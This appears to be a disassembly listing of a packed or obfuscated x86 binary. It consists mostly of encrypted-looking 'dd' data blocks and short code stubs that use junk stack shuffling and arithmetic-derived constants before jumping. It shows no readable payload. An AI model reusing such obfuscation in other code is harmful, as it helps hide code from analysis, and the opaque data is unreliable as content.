		dd 1728C2A4h, 70415439h, 0FCCBDD8Ch, 58BFA498h,	49h, 0E30D6FE0h
		dd 0F1D5B990h, 0C2274F9Dh, 3BD9F1Fh, 0B8C02D3Fh, 36E76B85h
		dd 0AA01D2EFh, 0A5F41881h, 0A5134892h, 10E3078Bh, 427D8B72h
		dd 826C9AFEh, 6009166Ah, 119843Ah, 0DC0A4E32h, 6AD11B7Fh
		dd 9066D056h, 7141EF78h, 6DD5DE8Fh, 7B5F231Eh, 0FA82DC07h
		dd 0B273FB61h, 3BBD9F23h, 798B15C7h, 60E991F5h,	242C163Ah
		dd 3A60E9A0h, 0BB35D327h, 0D0033A4Ah, 0F55FA954h, 0C8BC90AFh
		dd 0A5F35AF4h, 0B6C626AAh, 6ADEE338h, 0FD283216h, 0C3FE0BA5h
		dd 7AF41EFh, 446BEE02h,	9B4B3F03h, 307DC3EBh, 0B0BAC1DBh
		dd 7D5B50Bh, 0A5430334h, 0DA36A3CBh, 43B74E77h,	0E3E70F99h
		dd 642E49E6h, 0C818F01Eh, 2E49E6B8h, 6FD3EE39h,	0F55978BEh
		dd 7608859Fh, 0CCC4C1D3h, 201EEC1Dh, 1634h, 0D6FD000h
		dd 6540E476h, 0EABD9F1Fh, 0E3C7F205h, 2DB81Fh, 6FC00000h
		dd 5AE4760Dh, 941DB6D2h, 27C139C3h, 293C2145h, 52DCBD9Fh
		dd 0EE6659A3h, 3A60F69Ah, 0AFC7156Dh, 3A60F6DBh, 5BB856ACh
		dd 0DE3D9367h, 1B6FF8D5h, 2880532Ch, 32865DAh, 0A2F40000h
		dd 485F48ABh, 0FE0DFA79h, 0AFF710C3h, 5EA24390h, 1E45FC67h
		dd 599AA5FFh, 896A57ACh, 263D081Ch, 5281BCC9h, 5F2B43A9h
		dd 0D0C5863Ch, 0D5DEFB61h, 708372F8h, 7791F559h, 485C4993h
		dd 0DFA392E8h, 0E46987FBh, 2AB4A693h, 5393AEFBh, 0C3941D37h
		dd 0C3A442B8h, 0A9A90993h, 0A4B91331h, 961ECC20h, 0BD9FB80Bh
		dd 7544533Ch, 0C585AD11h, 103A6186h, 5E8F0580h,	4B2C35A8h
		dd 31h,	760D6F95h, 0D1EC39E4h, 8031B537h, 0EDBD9F05h, 41012195h
		dd 943A60CBh, 0E20B810Ch, 0D82C35C6h, 18ECDB2Dh, 0E0546BB1h
		dd 0DB9E48ACh, 0E7h, 4150BD25h,	0A6408408h, 0F56752A7h
		dd 0FFD6DD46h, 0F8161FD7h, 0C3DBCA10h, 0A1FB52FCh, 7EC2FD0Bh
		dd 0EB52261Ah, 0DCE1369Eh, 748372F8h, 0F6A7AB45h, 0CC2F4BADh
		dd 0F682779Dh, 72DD4192h, 0CDC39492h, 0B9568DB8h, 8DED516Ch
		dd 748654EFh, 0C2E6FAC7h, 859082FEh, 90E950B4h,	0AF383ADh
		dd 8EBD9FA5h, 4B3F0A1Fh, 957AD977h, 618AB580h, 0ACAE2B3Dh
		dd 0F672E1C5h, 2BC5F407h, 0E8720993h, 6C2B8544h, 2A300A44h
		dd 459EA1FBh, 139B50A8h, 3073F177h, 0F1751195h,	80FA3073h
		dd 60EFC337h, 8C6B401Ch, 0D300C743h, 0A1000001h, 8E57E55h
		dd 0F617CCFDh, 0A04D96ABh, 0FF87B5Ah, 0AA29CAF5h, 6D50A843h
		dd 3D0019F6h, 80BFC926h, 5461B253h, 46EE028Fh, 0C5863F02h
		dd 0DE4E3685h, 8F78FBDAh, 709D4F7Ah, 6EA2162Bh,	6FD127C0h
		dd 39E4760Dh, 0BB35D3EEh, 9F058233h, 2397EBBDh,	60CB4303h
		dd 0B8CA963Ah, 60CB5034h, 1AE3D73Ah, 9315330Ah,	0C74FFE12h
		dd 0B87A2C35h, 82000000h, 14F8D5DEh, 9C605FA5h,	7B465F4Eh
		dd 189639CDh, 1B8AC394h, 774B3F02h, 162374D9h, 0FAD720CDh
		dd 3A4EE670h, 8D3C6BE6h, 82BFC4B5h, 0F08CEC64h,	846D816Bh
		dd 794260D1h, 0F884D201h, 0BE6FF963h, 91F55978h, 0F5A7234Bh
		dd 0D2283A60h, 6542A034h, 0B58D446Dh, 102D76A7h, 738974F6h
		dd 0FDF42997h, 0D4289CABh, 6F03082Bh, 0B15CE80Bh, 50BD6B66h
		dd 0ACFA7548h, 4F8C6BC9h, 0E404FBh, 66B00000h, 0C1BF46Fh
		dd 0BAC9263Dh, 6BB35C87h, 1A1E8F54h, 5299383Bh,	855E61BBh
		dd 352E1368h, 62F1CCD8h, 9E457085h, 1377FF6Dh, 94C5863Eh
		dd 0DADEBF25h, 7A8F78FBh, 0DE6C944Fh, 0CD72F8D5h, 2109C9Ch
		dd 43C7613Ch, 0AEBC899Ah, 732D3931h, 0F71174EAh, 0F205F07Ch
		dd 0F11F73C7h, 0A6B4CFADh, 86DF850Eh, 0F84CB6BDh, 495C0411h
		dd 2EDF0478h, 0CC64E8E5h, 0A53DCF63h, 0AFECBDAh, 916554A3h
		dd 81E1DC28h, 601AABh, 3FE87DE2h, 0F02079FCh, 0A8515C56h
		dd 14F1625Fh, 9B423603h, 7FAEBC83h, 18F01E29h, 0E46867B1h
		dd 60D4E335h, 5AFD0822h, 2D8AF31Ah, 0AD684C0Eh,	0C9DEA01Fh
		dd 8BF68CF6h, 0A54A5B5Dh, 11FE6550h, 8245C904h,	16h, 60A7E15Eh
		dd 625A68E5h, 25C3271Eh, 4A50BD3Fh, 0A543870Bh,	0D4DE02F2h
		dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
		dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 68CF7BCFh, 0DE0h
		dd 56240C89h, 0C681E689h, 4, 4EE81h, 34870000h,	14895C24h
		dd 19636824h, 1C890000h, 348DBA24h, 0CA817BA5h,	71D77D36h
		dd 9A4BBB53h, 0DA018A1Ah, 4EC815Bh, 89000000h, 4832424h
		dd 525B0424h, 1DE8B850h, 44310B5Bh, 8F580424h, 73810843h
		dd 5B1DE808h, 241C8B0Bh, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 5A2434FFh, 4C481h, 40E90000h, 0C9FFF95Ah, 0E4896FC0h
		dd 2477B815h, 0C5030612h, 0CF32E0FFh, 8C0359A4h, 3F5D5489h
		dd 737272Ch, 0BCC24059h, 4B740E2Ah, 0B6A34016h,	7B396354h
		dd 35715E7Ah, 48A421FFh, 3F9A6E60h, 0B4735836h,	2B06F77h
		dd 4EB5838h, 7488F07Ch,	54DE9h,	0B08F9B00h, 63342A3h, 0E8E130DDh
		dd 0BD849A0Bh, 0C3349A6h, 0E27960D7h, 53BCA79Eh, 3EC774Ah
		dd 0EC19DAF5h, 44B5AE9Bh, 384400A4h, 7CCBC586h,	0F8D5DE84h
		dd 605FA514h, 340112F3h, 0B18C9940h, 0E3091CCDh, 1DBBD719h
		dd 90E554C9h, 99FDD1A5h, 0C6C7DD35h, 0E14B5342h, 0F246BA99h
		dd 889D709Eh, 3F49A6BDh, 0E232D300h, 61B667EBh,	374DE85Ch
		dd 84751B6h, 0DCE93AEBh, 9C89F868h, 4B41C394h, 3C8936BAh
		dd 4F6F8874h, 4FFE608Eh, 7A3241B2h, 66h, 0F8D5DE82h, 0CFD7C614h
		dd 0C73B1665h, 0BE45F638h, 173174B2h, 94E43D4Fh, 32B3C9C3h
		dd 41EA2FDEh, 11A32h, 0DEE20000h, 0C416FAD7h, 1D5632BAh
		dd 0E1D9C394h, 17BFC647h, 6C51A60Eh, 6C40A498h,	0EAE93198h
		dd 0F9F42E66h, 394DE173h, 8EC3941Dh, 1D5E2A42h,	0E9D1C394h
		dd 0A3F25BF5h, 0E6DAF503h, 4A87907Dh, 0DADE6BA9h, 5FA617FBh
		dd 1D741094h, 71FBC394h, 941D89FDh, 0C0241EC3h,	64BE18ECh
		dd 0D0788069h, 0C2068AC7h, 1DF09418h, 377C394h,	6F9E3D2Fh
		dd 246A25B0h, 739C57F1h, 0D4C12B26h, 251C62CEh,	0B5197D51h
		dd 0EA53B751h, 3B8A29Fh, 0BAAACAEAh, 0D337D19Fh, 5E221F6Ah
		dd 26AA95EFh, 0A2162177h, 0FC092B6Eh, 0CF94F074h, 271BC394h
		dd 7B8A2EC3h, 41C55881h, 825132h, 0DEBF0000h, 0A617FBDAh
		dd 6AF4665Bh, 941D86C2h, 173109C3h, 0C394A33h, 8AC9D1B8h
		dd 6DB1906h, 0EE3887C9h, 27C89ABh, 14FD0822h, 0FA2B310Ch
		dd 0EA2E92AFh, 0B251463h, 5A65BF68h, 0C0FF07F6h, 0CADBD97Ch
		dd 41C40736h, 622232h, 0BDCA0000h, 81754850h, 56AAA34Dh
		dd 0E2329B6Fh, 271B3A7Eh, 8B1A5E53h, 35271E62h,	1D4703ABh
		dd 67C8C394h, 21CF231Eh, 9595CA46h, 6F01179Dh, 477A8970h
		dd 8B719FF3h, 186FD7DEh, 7B5F66BCh, 0EB5FB397h,	2B5FD761h
		dd 0B2C3941Dh, 95ED6A67h, 1D9AEB7Bh, 5E54C394h,	0F094B54Fh
		dd 1BD3240h, 5B000000h,	0AFED3DEh, 0F17B56A3h, 73C7FE04h
		dd 6865AE1Fh, 0D5AF4ABEh, 32E033D8h, 0ACB441F8h, 6CF7EB56h
		dd 0BD16A32h, 9E0E96E3h, 9F6357BDh, 0BE8E52Eh, 0C8BC899Ah
		dd 87CF002h, 9F3A61D2h,	8BF98DBBh, 0BE3A61D2h, 71826B7Ah
		dd 256E9F44h, 0D23256DEh, 4DB53A61h, 0E334E569h, 72B462D6h
		dd 4C798A73h, 0BFC46597h, 0BFA2C36h, 77BCFF2h, 15810E9h
		dd 6FFC0000h, 39E4760Dh, 296DD1ECh, 98F96DFFh, 15BD9EFFh
		dd 0C8CE3F2Dh, 27C10589h, 89297A23h, 0F4C3D57Fh, 287D2C90h
		dd 7155A91Dh, 0D6DECF1Dh, 19370BFFh, 6964B15Eh,	5BA657E5h
		dd 90BE9266h, 0BCC868BDh, 0DDE03881h, 4D311569h, 0EF149193h
		dd 48B4AF9Ah, 2C35C2A1h, 7088h,	1EBD5400h, 92BFEDEDh, 6737D1F4h
		dd 49DD0F14h, 0C394656Dh, 0DC14F8C2h, 0C39465A8h, 3D7570AAh
		dd 8517C55Eh, 6597F37Bh, 2218C394h, 65447004h, 5746C394h
		dd 0B990E341h, 0A0ACAB45h, 946A780Ch, 978BCFC3h, 76E91645h
		dd 0EF6913CBh, 9BB5A998h, 9DEF4CD8h, 403C1747h,	65E9E82Eh
		dd 3C23CD21h, 9Ah, 0F2988B30h, 15221F6Ah, 0D37DD506h, 4150BD6Dh
		dd 447B8108h, 2A729CF0h, 0F223C952h, 0F47690ADh, 9F053170h
		dd 0D722D3BDh, 4B3216FAh, 66E5033Eh, 0F84C7389h, 4BBAA084h
		dd 47BB0F32h, 249BA1A9h, 146AC46h, 1FEE18C8h, 0CB243F0Ah
		dd 373F83BEh, 3A608168h, 4FB43163h, 8AD40F3Ah, 128369F2h
		dd 0D9ADC10Eh, 0AE3A6081h, 14D67054h, 71668C90h, 0EB5FA344h
		dd 70C4F102h, 683ECFC5h, 30DD0F14h, 19387EEAh, 8C7D5125h
		dd 0CC9E4879h, 678D5458h, 4C97EB4Eh, 0F6CDD5C0h, 0D6FE258h
		dd 777E476h, 35E7AD7Eh,	0EE06E806h, 0BD8526E2h,	40FF6D55h
		dd 0B9DDB807h, 321630A9h, 72169E28h, 0F53A7A95h, 483C0D18h
		dd 17F61074h, 0C32C3702h, 90F940B6h, 9A3D63D3h,	0E112D2A6h
		dd 44ABE081h, 0C8B10530h, 0CA388CBDh, 49B9D5D0h, 58AD5253h
		dd 3340FF6Dh, 0D0976963h, 769750FEh, 9EAC102Dh,	59887B21h
		dd 0FD2B47E4h, 47CB0A10h, 45CFDEDAh, 9DE64258h,	84F8DCA0h
		dd 176DDC30h, 0FA0FFE28h, 8E724F5Ah, 5784564Ah,	56B03A2Ch
		dd 0D89BB5F1h, 9519DA2Fh, 44C042F1h, 0A4280C76h, 3E3h
		dd 9C840D00h, 9FDD4DEh,	967A57A0h, 12E6D127h, 9B6F52ABh
		dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh
		dd 0E78957CFh, 4C781h, 0EF830000h, 243C8704h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	182322C9h
		pop	esi
		shl	esi, 2
		dec	esi
		add	esi, 47774B87h
		xor	esi, 0AE11F3EFh
		push	esi
		pop	edx
		pop	esi
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, eax
		push	edx
		pop	dword ptr [ecx]
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dw 0DCA4h
		dd 0EF5BFE15h, 9585A06Bh, 0F9B87CBEh, 3061229h,	95E0FFC5h
		dd 63692924h, 53544CBBh, 3F0C56D1h, 37328C6Dh, 345351A1h
		dd 0EF3F3A4Ah, 0EA4E5EBAh, 8D6F714Ch, 0A053C3Ah, 49762FCAh
		dd 9011C65Eh, 9A45E6E4h, 17394E73h, 0B513ABD0h,	853DA2ABh
		dd 0A82937BDh, 90462B00h, 6366C4A1h, 5C2CA48Ah,	0F8115DDEh
		dd 0EB283535h, 0C7AFE304h, 52EE97Eh, 0D2240000h, 788F78FBh
		dd 2E7DAA49h, 0DF27C013h, 8E9273E0h, 0CE15ACB7h, 9EAD52Fh
		dd 0B9BA879Ch, 0D60D384Ch, 2D1EC39h, 8FFB73F9h,	0C58637h
		dd 0D5DECBB1h, 5FA514F8h, 0BD68FA60h, 0F793536Eh, 78C3941Dh
		dd 5C63BB02h, 0C3D431B2h, 4E5B02F6h, 1D656185h,	90EAC394h
		dd 1661C8BCh, 52917AE0h, 2D01E4DAh, 0AFB6959h, 8325C3FAh
		dd 0F70FFE02h, 0DA2F1EC8h, 8D9B74EFh, 961EA8B2h, 0C3943DF2h
		dd 0E30D75h, 370A1984h,	0D5E03419h, 5E63B861h, 0C6F903EAh
		dd 44E872h, 87C3943Dh, 8CB9CAB3h, 0D3D2C838h, 870682BFh
		dd 243F161Eh, 3F83BECBh, 943D5637h, 8B1A90C3h, 4110D871h
		dd 67F132h, 0BD1F0000h,	7269A81Eh, 65EC2B22h, 0EB628CFDh
		dd 17DFA39Eh, 0C3945175h, 16EAFBB1h, 32413CF7h,	1D2h, 0D7DE3A00h
		dd 372B166Fh, 2B8B9A43h, 3B1FE3DEh, 748A73C7h, 8C209F4Dh
		dd 0C58125F8h, 4AC39468h, 0F79CC770h, 8DC54DFBh, 63921697h
		dd 409271Ah, 714C55F1h,	0DC29C61Dh, 45E97BE1h, 0C3947301h
		dd 0D192BC86h, 0FBDADE23h, 625FA617h, 0E7E6209Eh, 11DBFA3Eh
		dd 0CEFD34AAh, 0C2068AC7h, 0F3848435h, 0A9169255h, 0A65A6972h
		dd 0CA43ED99h, 51388CB9h, 0D2BB0F42h, 57068AC7h, 0D08E724Dh
		dd 86BBD7D6h, 76DE2BDAh, 6AAE122Fh, 0CFDED876h,	41A60435h
		dd 0B72D32h, 0DECB0000h, 3E6220DAh, 0D6ABDF57h,	0C63CC394h
		dd 0D7D5A039h, 535E0FF3h, 0DB238A7Eh, 0E476B03Fh, 0FCD08889h
		dd 645BA108h, 6D78B290h, 0EAFB3111h, 1AC0FF05h,	0F4606488h
		dd 93E7C394h, 0F4A12549h, 0DC26C394h, 4C54B132h, 0E93AEB71h
		dd 0B90D3049h, 629D6145h, 80331D99h, 3A83E7E7h,	1468DCE9h
		dd 0D9C416FAh, 0CA0EF2C1h, 1CE9311Ch, 9457FC88h, 2B0F73C3h
		dd 0F7F6A2A7h, 413CDC1Dh, 0C5D3C232h, 24C2068Ah, 475Dh
		dd 0DADEBB00h, 0BBC517FBh, 0A4B72004h, 43835974h, 0C394CE07h
		dd 0B994B288h, 89EC506Fh, 386B3CA3h, 5D0C1E79h,	0FF4F1B3h
		dd 9F29CAF5h, 12F266Eh,	0FAD7DE1Bh, 1DAFDE16h, 2D67C394h
		dd 0F0C168A0h, 1E83240h, 74000000h, 0AFED3DEh, 15CF9BC0h
		dd 0E9C3A2DDh, 7EC5CE3Fh, 0BB4B768Fh, 0C39477CFh, 29DD7A40h
		dd 0DD8FBBCBh, 0E31EE2C6h, 5D68BC69h, 0FF4F1B3h, 9A16CDFCh
		dd 3AE0E408h, 1367C394h, 48D3A9F5h, 85AB10A2h, 755B37DCh
		dd 9D986C9Ah, 52BD9E2Ch, 0E035E468h, 94E10ED5h,	6F1DD5B9h
		dd 5A3A61B0h, 98058F1Eh, 0BA93BD80h, 1F8E5C69h,	6B0C3A05h
		dd 8E5C69BAh, 0E7AF27Ch, 813A61B0h, 0B0DDA9B9h,	68523A61h
		dd 96E34ABEh, 2F69D7BBh, 112C799Eh, 0B03446C2h,	3A61B0D4h
		dd 96A3F25Bh, 608AEE22h, 61B0B8CCh, 1DCB0F3Ah, 369E0A23h
		dd 10F272Ch, 6FC10000h,	40E4760Dh, 0BD9EFF11h, 47B6A49Eh
		dd 67EB0534h, 0EA66DB6h, 3A60CF7Ah, 484AF5CDh, 31EA7400h
		dd 0AA263D11h, 7F273D35h, 0AE58DF09h, 8B7F4A5Fh, 10E4D122h
		dd 0B8616CA6h, 81B0C76Fh, 7EE5D93Dh, 35206B82h,	3D462Ch
		dd 0BDAE0000h, 85744550h, 14A8467Dh, 0C66EFC87h, 0C3941DD2h
		dd 9CADF855h, 0CF0D428h, 941DA024h, 6D78B2C3h, 0FDD6635h
		dd 941DB3E7h, 262D9C3h,	5D59C2A8h, 0B9817EA8h, 875BBAh
		dd 6FE50000h, 40E4760Dh, 0BD9F0521h, 3C948FAEh,	90592428h
		dd 0DBAFB815h, 32160AB2h, 0BF8A9F4Eh, 33E4BA4h,	47E8B7BFh
		dd 44573A60h, 0C0D88175h, 0E33909FDh, 4F95A8E2h, 714C59BEh
		dd 53E8B4E2h, 39041C89h, 88C95D0Fh, 48447258h, 0D17F4A5Dh
		dd 0D5840872h, 0D567F5C0h, 76323551h, 0A640BA30h, 0F0FDB7A2h
		dd 9359E2BAh, 3299ED01h, 816E3076h, 97EB5F72h, 53DB95B3h
		dd 4E642D02h, 673699C6h, 0A77B687Eh, 0A3B08A89h, 0E30D6F55h
		dd 9D3A79Ah, 941DE1E5h,	381C66C3h, 1DCEBA32h, 7941C394h
		dd 1E5FD705h, 0AFBD8602h, 0CB55E76Bh, 79C827A3h, 625FA63Ah
		dd 0E5DDBA9Eh, 84B1C24Bh, 6865AE5Fh, 7AC24CE4h,	0C8E2B5ACh
		dd 0F6C3D43Dh, 0DD51E36Dh, 428C28A9h, 232AC43Eh, 2F266ED6h
		dd 6BF547CBh, 8C2887C3h, 14320842h, 6ED2E139h, 0CF34B1F3h
		dd 0D35D8FBAh, 8C282F5Bh, 0AC5AA042h, 0FCC9DACBh, 10B708h
		dd 78A50000h, 440E42Fh,	8B428C28h, 4FB553B7h, 0D4DE9C84h
		dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
		dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 51CF7BCFh, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 3E68240Ch, 8900001Eh, 89532414h
		dd 4C381E3h, 83000000h,	1C8704EBh, 34895C24h, 4DA46824h
		dd 3C890000h, 2AFABF24h, 0FA890612h, 4EC835Fh, 83242489h
		dd 5E042404h, 0D6895651h, 895EF189h, 0FF59084Eh, 815E2434h
		dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF94F1Bh, 0E4506B3Fh
		dd 0E0EB5122h, 0CEFB25ADh, 122FAFB8h, 0FFC50306h, 178EE7E0h
		dd 50D55B4Bh, 0A66C0665h, 0E9CA416Eh, 4F356911h, 1DD50118h
		dd 35DD4101h, 848ED205h, 3367080Eh, 75782949h, 0C0263230h
		dd 5E04EB60h, 0E9348C04h, 53Bh,	8E556CB6h, 383B1661h, 568DBCCFh
		dd 815261B9h, 32211C64h, 7B815C83h, 296E9F44h, 0D6DECF14h
		dd 7E8B64FFh, 816B9043h, 862D196Dh, 0B91FEEC5h,	0E60ED5DEh
		dd 0C3941DE2h, 743EB65h, 88C3941Dh, 967A5EB2h, 2E77DD27h
		dd 0B9FEAF13h, 0F8DC3084h, 40340B11h, 0DACB280Ch, 0F16EFCC9h
		dd 2F78C03Ch, 48C06E1Bh, 0D5B994E1h, 63B51164h,	48ACE054h
		dd 17968CC4h, 0E73DA5EEh, 3C1074D8h, 87BEC627h,	6A65B35Ch
		dd 8EE37E6h, 0A0E92BA3h, 9D337DEh, 0D5B9849Ch, 71AB46F1h
		dd 0EEED711h, 7FCD68E0h, 7F0D79EDh, 0B882C394h,	7099148Eh
		dd 0DDCA2924h, 0D909FDC8h, 0C3947FA8h, 1FE3DE2Bh, 9A6E63AEh
		dd 0EF7570AAh, 947F0347h, 5ABE84C3h, 2FE5E0BAh,	324152FEh
		dd 7B2Bh, 0D5DE3500h, 3D2F1A6Dh, 941DDDA9h, 746852C3h
		dd 0B4D054E6h, 3BC3941Dh, 12129C7h, 0C3941D43h,	379BB2C2h
		dd 0B3073E46h, 1D4105A9h, 0FCC6C394h, 8B119C96h, 941D6763h
		dd 0BE92E8C3h, 0B810C86h, 3240F0E2h, 0E3DE2DD8h, 1BC45h
		dd 0DE580000h, 0EC980CD7h, 63C3941Dh, 0F94D748Ah, 33BBA185h
		dd 0C3941D57h, 3A8EE2D8h, 81754453h, 0FF3C2D8h,	3BE0EDC7h
		dd 0E906DDECh, 42B2A19Ch, 17FBDADEh, 9E625FA6h,	3EE7E620h
		dd 0EF18DBFAh, 72DBAF9Ah, 0A3A62A27h, 0DD1CF4F1h, 0D43240F2h
		dd 78h,	0D6B23A44h, 59C39417h, 0DE51C761h, 2A276EDAh, 0BA0E62A6h
		dd 589C0D3h, 8D714C54h,	1A69CDDCh, 177FC327h, 96FE901Dh
		dd 90E8119Ch, 4359B6ADh, 3042887Ch, 941DC8BCh, 0DF591FC3h
		dd 513D2A73h, 0D72D9CE6h, 0B7CF3EE8h, 93010488h, 83FFE12h
		dd 426A3241h, 0F2000000h, 71FBDADEh, 3EB67184h,	0C3941D4Ah
		dd 3881E5DDh, 0DD35D3E2h, 592D186Ch, 68911C44h,	0CE362D10h
		dd 16FAD7DEh, 0FDC0D9C4h, 1DC28353h, 760CC394h,	0F16C9D77h
		dd 6453240h, 0D7000000h, 48E6DB26h, 0FED3DED2h,	7B56A30Ah
		dd 9F2E6A97h, 0CD162B76h
		dd 0C9BD3143h, 50C3941Dh, 4D817548h, 5E5E88F2h,	0BF37253Eh
		dd 0BD9EFCBAh, 1AC3B78Bh, 0B12E3C09h, 0C25DE87h, 99B8FEB9h
		dd 3FE88BA5h, 0C394AEAh, 3CB0C228h, 3A608D48h, 0C54DFBDFh
		dd 608D1F6Dh, 0FF0E2A3Ah, 743EB75h, 0E53A608Dh,	608D0541h
		dd 0C7B08A3Ah, 0AFF855F3h, 0EDD79F49h, 0FCD0AAB9h, 6A76E567h
		dd 74127269h, 256EDF09h, 6796A428h, 795D2110h, 18357ECFh
		dd 6FD523D2h, 41352918h, 5A67BC0Dh, 0B8FAA4ACh,	86B3C42Dh
		dd 0F850A954h, 8EB89CADh, 0EB022BD5h, 83382C35h, 0CCD8EB36h
		dd 5D4846F1h, 4BE07997h, 0C000001h, 96E30D6Fh, 119547BBh
		dd 0BD9EFF60h, 0F867F5CDh, 4256BDCCh, 0A723C473h, 26AA95EFh
		dd 0E8608EE2h, 1AD9F401h, 0D9AD98EDh, 0A62A2770h, 0A52FBEF8h
		dd 0F6102978h, 2C370217h, 0EA9E16A0h, 7D3A609Bh, 0D871EB05h
		dd 0F12C3576h, 6Eh, 0BB33BD1Fh,	0C3941DCFh, 6C188C40h
		dd 0E3C3941Dh, 318DBB9Fh, 0FB8F276Ah, 4CC3941Dh, 93C81276h
		dd 0C98D8E2Fh, 2A5ED6ABh, 0BDC3947Fh, 25C76145h, 947F9581h
		dd 0EF359AC3h, 0DC6EFCD0h, 947F3C48h, 5E65BDC3h, 0D12996EAh
		dd 7713D337h, 6DC3947Fh, 97E4BA4Bh, 7300F19h, 0D96DFB27h
		dd 0EDC30E4h, 9491B2E6h, 964DB5C3h, 916Fh, 0D6F8900h, 34031580h
		dd 80C40C40h, 7C3941Dh,	990DDF33h, 0BD9F05C8h, 6059A805h
		dd 0A756639Ch, 80455976h, 76C448ACh, 0F3477287h, 8B9C719Fh
		dd 3F48A5BEh, 0CDB18097h, 35479589h, 3A8EB3C8h,	117A0EC6h
		dd 0F5CD3A60h, 307FF75Bh, 3B3A6010h, 0F207ECF9h, 2B901CC7h
		dd 0E2343C88h, 0AFEF19C5h, 0A4B6CDh, 4472661Fh,	0F7A62A10h
		dd 362397A2h, 3CE97372h, 8168DCEDh, 92F65A79h, 700C90BEh
		dd 0C2ED01EBh, 0B34E6437h, 0ED18944Fh, 0E024A897h, 0D6FD046h
		dd 5F40E476h, 0D0BD860Dh, 3B1F2A7Fh, 0A09DE657h, 744152B3h
		dd 0B4D054E6h, 3B3A79CDh, 12129C7h, 6BE7DDBFh, 1B800D27h
		dd 0A420330Eh, 83F6921Ah, 17904DBh, 201D66E7h, 5895ED5Ch
		dd 0DB83B0D4h, 0EFC33704h, 0F7BF37Dh, 8004DB83h, 99848CBAh
		dd 10658A1Bh, 0C4D13E25h, 88370589h, 73532A69h,	877CAA20h
		dd 1Bh,	0C233BD21h, 0DC3084B1h,	941D7014h, 6583F7C3h, 0EA8936B2h
		dd 9707D2AAh, 0DE6AD07Eh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh, 51E28952h, 4B9h,	59CA0100h, 8704EA83h, 685C2414h
		dd 757h, 68243C89h, 4A1h, 55242C89h, 127FABDh, 86EBF62h
		dd 0EF01A411h, 83242C8Bh, 8B5404C4h, 0C483242Ch, 0BF575304h
		dd 5AB353C5h, 0B353CDBBh, 5FFB315Ah, 3B89EB01h,	242C8B5Bh
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h
		dd 9CE904C4h, 0F3FFF949h, 0E5601CD3h, 0B89887CAh, 6123528h
		dd 0E0FFC503h, 1E62C495h, 38559B43h, 773BA587h,	15EA553Bh
		dd 4639202Ah, 1A606C1Bh, 0C1C3892h, 1B128C23h, 64F10BC9h
		dd 2144FC08h, 58A81746h, 463C84CFh, 60F89ED8h, 36BD8D8Dh
		dd 810F0612h, 3, 89DA8B66h, 0B174D8Dh, 13E806h,	65080000h
		dd 2EB03871h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h,	0A1958909h
		dd 5A060B22h, 10E9h, 23061D00h,	17653E1Dh, 4765AEE6h, 8395C814h
		dd 1985C79Fh, 28060B01h, 6A000067h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2D3C352h
		dd 3D97BBC3h, 8A7CB036h, 17CDBD89h, 85C7060Bh, 60B1009h
		dd 0
		dd 890Fh, 0B5FF0000h, 60B0FD5h,	7E8h, 8EFD5200h, 7841E7E6h
		dd 5E9h, 0CD696500h, 815B4520h,	76B17BC0h, 0C595FF6Dh
		dd 6A060B0Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0A870C350h, 6AFB55h, 32DD95FFh
		dd 0C08B060Bh, 1B4A3CEBh, 9AB79EF2h, 8C5858C4h,	0DAC3D308h
		dd 0A58F6DFh, 111D356h,	12B43B59h, 81B91087h, 431F5343h
		dd 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h, 0D24675E1h
		dd 70CD39C7h, 4EBA7C2h,	62C42642h, 50CE9h, 0F4C3D700h
		dd 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h,	0DE3D2493h
		dd 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh, 2AB8CC60h
		dd 400FC586h, 6DD5DED8h, 7B5F231Eh, 0B6CAB307h,	4ED8548Fh
		dd 0F57D4C5Fh, 0C3941D91h, 0B022C16h, 0ED7FC3FEh, 0B723054Eh
		dd 87A11332h, 9A407D86h, 0E0E0E408h, 1367C394h,	59AC1DF5h
		dd 76ACE468h, 0F400ED77h, 0CB1175D9h, 94E027A3h, 0B452A8C3h
		dd 0E2714C59h, 1FC4F305h, 0DBAFA6EEh, 0AC102D72h, 0BFCA3BB1h
		dd 2CDA3E82h, 82927B8Ah, 2A7FA84Bh, 6F94768Ah, 47384D95h
		dd 0AB1F7357h, 9416CABBh, 7F8E04C3h, 40FC6485h,	444D32h
		dd 2EDF0000h, 0D93FE9E8h, 14F8D5DEh, 941DAEDCh,	0A12C66C3h
		dd 0AE9BEA1Bh, 0F16F9E80h, 15A3240h, 0A2000000h, 16FAD7DEh
		dd 0FDC0D9C4h, 9EABFA53h, 43B432Ah, 4B5A50B0h, 0F5C0D4C1h
		dd 96A3F25Bh, 7A57A04Dh, 0DADE1BF9h, 5FA617FBh,	2E209E62h
